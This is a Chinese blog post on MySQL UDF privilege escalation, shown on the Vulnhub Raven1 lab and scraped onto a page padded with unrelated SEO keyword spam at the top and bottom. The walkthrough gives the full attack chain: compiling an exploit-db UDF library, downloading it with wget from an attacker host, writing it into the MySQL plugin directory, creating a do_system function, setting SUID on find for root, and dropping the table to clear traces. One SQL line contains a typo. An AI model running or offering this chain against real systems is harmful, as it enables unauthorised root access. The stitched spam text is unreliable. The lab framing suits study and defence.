当前位置: 首页 > news >正文

企业网站和域名的好处中国石化工程建设有限公司首页

企业网站和域名的好处,中国石化工程建设有限公司首页,刷关键词的平台,东营网站建设关键字排名问题1、前言 最近遇到udf提权,几经周折终于搞懂了。感觉挺有意思的,渗透思路一下子就被打开了。 2、什么是udf提权 udf 全称为user defined function,意思是用户自定义函数。用户可以对数据库所使用的函数进行一个扩展(windows利用…

1、前言

最近遇到udf提权,几经周折终于搞懂了。感觉挺有意思的,渗透思路一下子就被打开了。

2、什么是udf提权

udf 全称为'user defined function',意思是'用户自定义函数'。用户可以对数据库所使用的函数进行一个扩展(windows利用dll文件,linux利用so文件),那么我们就可以利用这个特点,往MySQL里面添加一个可以执行系统命令的函数即可。

3、提权条件

(1)获取了MySQL的控制权,也就是知道MySQL账号和密码,并且能登录上去。

(2)MySQL具有读写的权限,即secure_file_priv的值为空才行。

(3)MySQL服务以root用户运行,如果是以普通用户运行的话,那么提权之后的权限也是普通用户的权限。

值得注意的是,不同版本的MySQL提权方式略有不同。

MySQL版本大于5.1,扩展文件必须放在MySQL安装目录的lib\plugin文件夹下。(plugin目录下存放的是扩展文件,plugin文件夹默认不存在,需要自己创建)

mysql版本<5.1 需要将扩展文件放在 C:\windows\或C:\windows\system32

4、提权过程

这里我就用Vulnhub靶场的 raven1靶机来演示,因为这个靶机刚好可以进行udf提权。这里直接快进到拿到shell了,如何getshell就不说了。

输入命令查看MySQL,发现是root身份运行的。

ps aux | grep "mysql"

 在/var/www/html/wordpress目录下找到一个wp-config.php,估计是配置文件,打开发现有mysql的账号和密码,直接连接上去即可。

mysql -u root -p

查看是否有读写权限,发现值为空符合我们的前提。

show global variables like 'secure_file_priv';

再查看一下扩展目录在哪里,如果没有的话还需自己创建一下,网上有说可以使用ntfs数据流创建

后续我实验一下。

show global variables like '%plugin%';

通过我们的信息收集,发现这个主机是符合我们udf提权的前提的。那么现在我们编译一个.so文件(靶机为Linux),然后加载到plugin目录下即可。在kali的漏洞库里面有以及写好的c语言脚本的,我们直接编译成.so文件即可,非常的省事。

searchsploit mysql udf 

编译成名为rong.so的文件。

gcc -g -c 1518.c
gcc -g -shared -o rong.so 1518.c

然后下载到靶机的tmp目录下面。

wget http://192.168.145.171/rong.so

我们上面说过要把扩展文件放到plugin目录下面才可以,但是我们普通用户是没有权限直接把文件移动到plugin下面的。这个时候MySQL的作用就来了,我们可以在MySQL上面创建一个表,把我们/tmp/rong.so的内容写入到表里面,然后再把这个表里面的内容读到plugin目录下面的rong.so文件。这样就实现了tmp目录下的rong.so转移到plugin目录下,所以这就是为啥MySQL要具有读写权限。

show databases;

随便选个库都无所谓,这里我选mysql,然后新建一个表。

use mysql
create table rong(line blob)

把/tmp/rong.so文件内容写入这个新建的表里面,load_file函数就是把文件内容写入到表里面。

insert into rong values(load_file('/tmp/rong.so'));

再把表里面的内容读到plugin目录的rong.so,into dumpfile函数就是把表里的内容读入文件里面,如果没有这个文件就新建一个。

select * from rong into dumpfile '/usr/lib/mysql/plugin/rong.so'; 

在真实的攻击中,一般都会把刚刚新建的表删掉(不删也行),清楚痕迹。

drop table rong

现在我们已经成功把自定义扩展函数放到plugin目录下面了,接着导入函数。

create function do_system retuns integer soname 'rong.so'

然后我们就可以执行系统命令了,不过这里是没回显的,要想有回显示还得导入其他.so文件,这里就不说了。我们可以个find命令赋予一个suid权限,然后再利用find提权即可。

select do_system('chmod u+s /usr/bin/find');

查看一下具有suid权限的命令,find命令成功被赋予了权限。

find / -perm -u=s -type f 2>/dev/null

至于find命令如何提权可以参考这篇文章点击我,求你了,这里不在缀述。

5、总结

udf提权本质就是通过添加自定义函数让MySQL能执行系统命令,仅此而已。

最后,以上仅为个人的拙见,如何有不对的地方,欢迎各位师傅指正与补充,有兴趣的师傅可以一起交流学习。

http://www.yayakq.cn/news/123842/

相关文章:

  • 一个网站的预算做爰动态视频网站
  • 基于企业网站的网络营销方法工作室起名大全免费取名
  • 泰州哪家做网站建设比较好saas建站平台介绍
  • 做网站的工作量免费动画制作网站
  • 新加坡二手手机网站大全集团定制网站建设公司
  • 向自己做网站免费发布产品的网站
  • 网站防止盗图南京seo公司哪家好
  • 哪里建个人网站好桂林北站官网
  • 做网站多少钱西宁君博领衔潍坊网站建设招商
  • 网站建设与管理专业学什么手机怎么打开自己做的网站
  • 怎么用文件做网站百丽鞋业网站建设
  • WordPress怎么修改网站登陆地址做a短视频网站
  • 品牌网站建设必在大蝌蚪关键词自动优化工具
  • 怎么提高网站的转化率网页版qq邮箱登录
  • 一起做彩票网站的人wordpress 文字大小
  • 网站开发待遇好吗软件定制开发公司地址
  • 不限次数观看视频的appseo网络推广排名
  • 便民工具 网站开发百度云搜索引擎入口 百度网盘
  • 电商网站需求分析招聘免费发布平台
  • 织梦多语言网站微信推广网站怎么做
  • 鹰潭律师网站建设贵州建设职业技术学院网站查成绩
  • 做网站能用的字体成都房地产网
  • seo更新网站内容的注意事项兼职招聘
  • 手机网站建设网站报价中国建设银行预约网站首页
  • 黑客做的网站好用不企业网站建设课程设计
  • 制作属于自己的网站免费ppt模板 网站开发
  • 免费网站域名传奇世界网页版平台
  • 如何做房地产微信推送网站广告企业网银登录
  • 国外优秀摄影网站大连网站建设哪家好
  • 网站维保方法可以做哪方面的网站